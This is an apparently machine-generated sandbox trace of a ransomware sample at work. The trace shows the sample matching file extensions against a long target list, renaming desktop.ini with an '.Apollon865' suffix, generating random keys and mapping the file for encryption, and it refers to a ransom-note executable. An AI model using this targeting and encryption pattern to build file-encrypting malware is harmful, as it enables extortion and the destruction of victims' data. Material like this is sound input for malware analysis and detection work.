	[0054.031] lstrlenW (lpString="mfd") returned 3
	[0054.031] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0054.032] lstrlenW (lpString="mpd") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0054.032] lstrlenW (lpString="mrg") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0054.032] lstrlenW (lpString="mud") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0054.032] lstrlenW (lpString="mwb") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0054.032] lstrlenW (lpString="myd") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0054.032] lstrlenW (lpString="ndf") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0054.032] lstrlenW (lpString="nnt") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0054.032] lstrlenW (lpString="nrmlib") returned 6
	[0054.032] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0054.032] lstrlenW (lpString="ns2") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0054.032] lstrlenW (lpString="ns3") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0054.032] lstrlenW (lpString="ns4") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0054.032] lstrlenW (lpString="nsf") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0054.032] lstrlenW (lpString="nv") returned 2
	[0054.032] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0054.032] lstrlenW (lpString="nv2") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0054.032] lstrlenW (lpString="nwdb") returned 4
	[0054.032] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0054.032] lstrlenW (lpString="nyf") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0054.032] lstrlenW (lpString="odb") returned 3
	[0054.032] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0054.032] lstrlenW (lpString="odb") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0054.033] lstrlenW (lpString="oqy") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0054.033] lstrlenW (lpString="ora") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0054.033] lstrlenW (lpString="orx") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0054.033] lstrlenW (lpString="owc") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0054.033] lstrlenW (lpString="p96") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0054.033] lstrlenW (lpString="p97") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0054.033] lstrlenW (lpString="pan") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0054.033] lstrlenW (lpString="pdb") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0054.033] lstrlenW (lpString="pdm") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0054.033] lstrlenW (lpString="pnz") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0054.033] lstrlenW (lpString="qry") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0054.033] lstrlenW (lpString="qvd") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0054.033] lstrlenW (lpString="rbf") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0054.033] lstrlenW (lpString="rctd") returned 4
	[0054.033] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0054.033] lstrlenW (lpString="rod") returned 3
	[0054.033] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0054.033] lstrlenW (lpString="rodx") returned 4
	[0054.033] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0054.034] lstrlenW (lpString="rpd") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0054.034] lstrlenW (lpString="rsd") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0054.034] lstrlenW (lpString="sas7bdat") returned 8
	[0054.034] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0054.034] lstrlenW (lpString="sbf") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0054.034] lstrlenW (lpString="scx") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0054.034] lstrlenW (lpString="sdb") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0054.034] lstrlenW (lpString="sdc") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0054.034] lstrlenW (lpString="sdf") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0054.034] lstrlenW (lpString="sis") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0054.034] lstrlenW (lpString="spq") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0054.034] lstrlenW (lpString="te") returned 2
	[0054.034] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0054.034] lstrlenW (lpString="teacher") returned 7
	[0054.034] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0054.034] lstrlenW (lpString="tmd") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0054.034] lstrlenW (lpString="tps") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0054.034] lstrlenW (lpString="trc") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0054.034] lstrlenW (lpString="trc") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0054.034] lstrlenW (lpString="trm") returned 3
	[0054.034] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0054.034] lstrlenW (lpString="udb") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0054.035] lstrlenW (lpString="udl") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0054.035] lstrlenW (lpString="usr") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0054.035] lstrlenW (lpString="v12") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0054.035] lstrlenW (lpString="vis") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0054.035] lstrlenW (lpString="vpd") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0054.035] lstrlenW (lpString="vvv") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0054.035] lstrlenW (lpString="wdb") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0054.035] lstrlenW (lpString="wmdb") returned 4
	[0054.035] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0054.035] lstrlenW (lpString="wrk") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0054.035] lstrlenW (lpString="xdb") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0054.035] lstrlenW (lpString="xld") returned 3
	[0054.035] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0054.035] lstrlenW (lpString="xmlff") returned 5
	[0054.035] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0054.035] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.Apollon865") returned 116
	[0054.035] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0054.036] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0054.036] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=211) returned 1
	[0054.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.036] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.036] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0054.037] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.037] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.037] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x118
	[0054.046] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x120000
	[0054.051] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0054.051] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.052] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6878
	[0054.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6878 | out: hHeap=0x580000) returned 1
	[0054.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.052] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.052] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.052] CloseHandle (hObject=0x118) returned 1
	[0054.052] CloseHandle (hObject=0xc0) returned 1
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.053] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e542e50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.053] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.053] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x921e7f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer.lnk", cAlternateFileName="INTERN~1.LNK")) returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".") returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="..") returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="windows") returned -1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="bootmgr") returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="temp") returned -1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="pagefile.sys") returned -1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="boot") returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="ids.txt") returned 1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="ntuser.dat") returned -1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="perflogs") returned -1
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2="MSBuild") returned -1
	[0054.053] lstrlenW (lpString="Internet Explorer.lnk") returned 21
	[0054.053] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 105
	[0054.053] lstrcpyW (in: lpString1=0x119e6c4, lpString2="Internet Explorer.lnk" | out: lpString1="Internet Explorer.lnk") returned="Internet Explorer.lnk"
	[0054.053] lstrlenW (lpString="Internet Explorer.lnk") returned 21
	[0054.053] lstrlenW (lpString="Apollon865") returned 10
	[0054.053] lstrcmpiW (lpString1="plorer.lnk", lpString2="Apollon865") returned 1
	[0054.053] lstrlenW (lpString=".dll") returned 4
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".dll") returned 1
	[0054.053] lstrlenW (lpString=".lnk") returned 4
	[0054.053] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".lnk") returned 1
	[0054.053] lstrlenW (lpString=".ini") returned 4
	[0054.054] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".ini") returned 1
	[0054.054] lstrlenW (lpString=".sys") returned 4
	[0054.054] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".sys") returned 1
	[0054.054] lstrlenW (lpString="Internet Explorer.lnk") returned 21
	[0054.054] lstrlenW (lpString="bak") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0054.054] lstrlenW (lpString="ba_") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0054.054] lstrlenW (lpString="dbb") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0054.054] lstrlenW (lpString="vmdk") returned 4
	[0054.054] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0054.054] lstrlenW (lpString="rar") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0054.054] lstrlenW (lpString="zip") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0054.054] lstrlenW (lpString="tgz") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0054.054] lstrlenW (lpString="vbox") returned 4
	[0054.054] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0054.054] lstrlenW (lpString="vdi") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0054.054] lstrlenW (lpString="vhd") returned 3
	[0054.054] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0054.054] lstrlenW (lpString="vhdx") returned 4
	[0054.054] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0054.054] lstrlenW (lpString="avhd") returned 4
	[0054.054] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0054.054] lstrlenW (lpString="db") returned 2
	[0054.054] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0054.054] lstrlenW (lpString="db2") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0054.055] lstrlenW (lpString="db3") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0054.055] lstrlenW (lpString="dbf") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0054.055] lstrlenW (lpString="mdf") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0054.055] lstrlenW (lpString="mdb") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0054.055] lstrlenW (lpString="sql") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0054.055] lstrlenW (lpString="sqlite") returned 6
	[0054.055] lstrcmpiW (lpString1="er.lnk", lpString2="sqlite") returned -1
	[0054.055] lstrlenW (lpString="sqlite3") returned 7
	[0054.055] lstrcmpiW (lpString1="rer.lnk", lpString2="sqlite3") returned -1
	[0054.055] lstrlenW (lpString="sqlitedb") returned 8
	[0054.055] lstrcmpiW (lpString1="orer.lnk", lpString2="sqlitedb") returned -1
	[0054.055] lstrlenW (lpString="xml") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1
	[0054.055] lstrlenW (lpString="$er") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1
	[0054.055] lstrlenW (lpString="4dd") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1
	[0054.055] lstrlenW (lpString="4dl") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1
	[0054.055] lstrlenW (lpString="^^^") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1
	[0054.055] lstrlenW (lpString="abs") returned 3
	[0054.055] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1
	[0054.055] lstrlenW (lpString="abx") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1
	[0054.056] lstrlenW (lpString="accdb") returned 5
	[0054.056] lstrcmpiW (lpString1="r.lnk", lpString2="accdb") returned 1
	[0054.056] lstrlenW (lpString="accdc") returned 5
	[0054.056] lstrcmpiW (lpString1="r.lnk", lpString2="accdc") returned 1
	[0054.056] lstrlenW (lpString="accde") returned 5
	[0054.056] lstrcmpiW (lpString1="r.lnk", lpString2="accde") returned 1
	[0054.056] lstrlenW (lpString="accdr") returned 5
	[0054.056] lstrcmpiW (lpString1="r.lnk", lpString2="accdr") returned 1
	[0054.056] lstrlenW (lpString="accdt") returned 5
	[0054.056] lstrcmpiW (lpString1="r.lnk", lpString2="accdt") returned 1
	[0054.056] lstrlenW (lpString="accdw") returned 5
	[0054.056] lstrcmpiW (lpString1="r.lnk", lpString2="accdw") returned 1
	[0054.056] lstrlenW (lpString="accft") returned 5
	[0054.056] lstrcmpiW (lpString1="r.lnk", lpString2="accft") returned 1
	[0054.056] lstrlenW (lpString="adb") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0054.056] lstrlenW (lpString="adb") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0054.056] lstrlenW (lpString="ade") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0054.056] lstrlenW (lpString="adf") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0054.056] lstrlenW (lpString="adn") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0054.056] lstrlenW (lpString="adp") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0054.056] lstrlenW (lpString="alf") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0054.056] lstrlenW (lpString="ask") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0054.056] lstrlenW (lpString="btr") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0054.056] lstrlenW (lpString="cat") returned 3
	[0054.056] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0054.057] lstrlenW (lpString="cdb") returned 3
	[0054.057] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0054.057] lstrlenW (lpString="ckp") returned 3
	[0054.057] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0054.057] lstrlenW (lpString="cma") returned 3
	[0054.057] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0054.057] lstrlenW (lpString="cpd") returned 3
	[0054.057] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0054.057] lstrlenW (lpString="dacpac") returned 6
	[0054.057] lstrcmpiW (lpString1="er.lnk", lpString2="dacpac") returned 1
	[0054.057] lstrlenW (lpString="dad") returned 3
	[0054.057] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0054.057] lstrlenW (lpString="dadiagrams") returned 10
	[0054.057] lstrcmpiW (lpString1="plorer.lnk", lpString2="dadiagrams") returned 1
	[0054.057] lstrlenW (lpString="daschema") returned 8
	[0054.057] lstrcmpiW (lpString1="orer.lnk", lpString2="daschema") returned 1
	[0054.057] lstrlenW (lpString="db-journal") returned 10
	[0054.057] lstrcmpiW (lpString1="plorer.lnk", lpString2="db-journal") returned 1
	[0054.057] lstrlenW (lpString="db-shm") returned 6
	[0054.057] lstrcmpiW (lpString1="er.lnk", lpString2="db-shm") returned 1
	[0054.057] lstrlenW (lpString="db-wal") returned 6
	[0054.057] lstrcmpiW (lpString1="er.lnk", lpString2="db-wal") returned 1
	[0054.057] lstrlenW (lpString="dbc") returned 3
	[0054.057] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0054.057] lstrlenW (lpString="dbs") returned 3
	[0054.057] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0054.058] lstrlenW (lpString="dbt") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0054.058] lstrlenW (lpString="dbv") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0054.058] lstrlenW (lpString="dbx") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0054.058] lstrlenW (lpString="dcb") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0054.058] lstrlenW (lpString="dct") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0054.058] lstrlenW (lpString="dcx") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0054.058] lstrlenW (lpString="ddl") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0054.058] lstrlenW (lpString="dlis") returned 4
	[0054.058] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0054.058] lstrlenW (lpString="dp1") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0054.058] lstrlenW (lpString="dqy") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0054.058] lstrlenW (lpString="dsk") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0054.058] lstrlenW (lpString="dsn") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0054.058] lstrlenW (lpString="dtsx") returned 4
	[0054.058] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0054.058] lstrlenW (lpString="dxl") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0054.058] lstrlenW (lpString="eco") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0054.058] lstrlenW (lpString="ecx") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0054.058] lstrlenW (lpString="edb") returned 3
	[0054.058] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0054.059] lstrlenW (lpString="epim") returned 4
	[0054.059] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0054.059] lstrlenW (lpString="fcd") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0054.059] lstrlenW (lpString="fdb") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0054.059] lstrlenW (lpString="fic") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0054.059] lstrlenW (lpString="flexolibrary") returned 12
	[0054.059] lstrcmpiW (lpString1="Explorer.lnk", lpString2="flexolibrary") returned -1
	[0054.059] lstrlenW (lpString="fm5") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0054.059] lstrlenW (lpString="fmp") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0054.059] lstrlenW (lpString="fmp12") returned 5
	[0054.059] lstrcmpiW (lpString1="r.lnk", lpString2="fmp12") returned 1
	[0054.059] lstrlenW (lpString="fmpsl") returned 5
	[0054.059] lstrcmpiW (lpString1="r.lnk", lpString2="fmpsl") returned 1
	[0054.059] lstrlenW (lpString="fol") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0054.059] lstrlenW (lpString="fp3") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0054.059] lstrlenW (lpString="fp4") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0054.059] lstrlenW (lpString="fp5") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0054.059] lstrlenW (lpString="fp7") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0054.059] lstrlenW (lpString="fpt") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0054.059] lstrlenW (lpString="frm") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0054.059] lstrlenW (lpString="gdb") returned 3
	[0054.059] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0054.059] lstrlenW (lpString="gdb") returned 3
	[0054.060] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0054.060] lstrlenW (lpString="grdb") returned 4
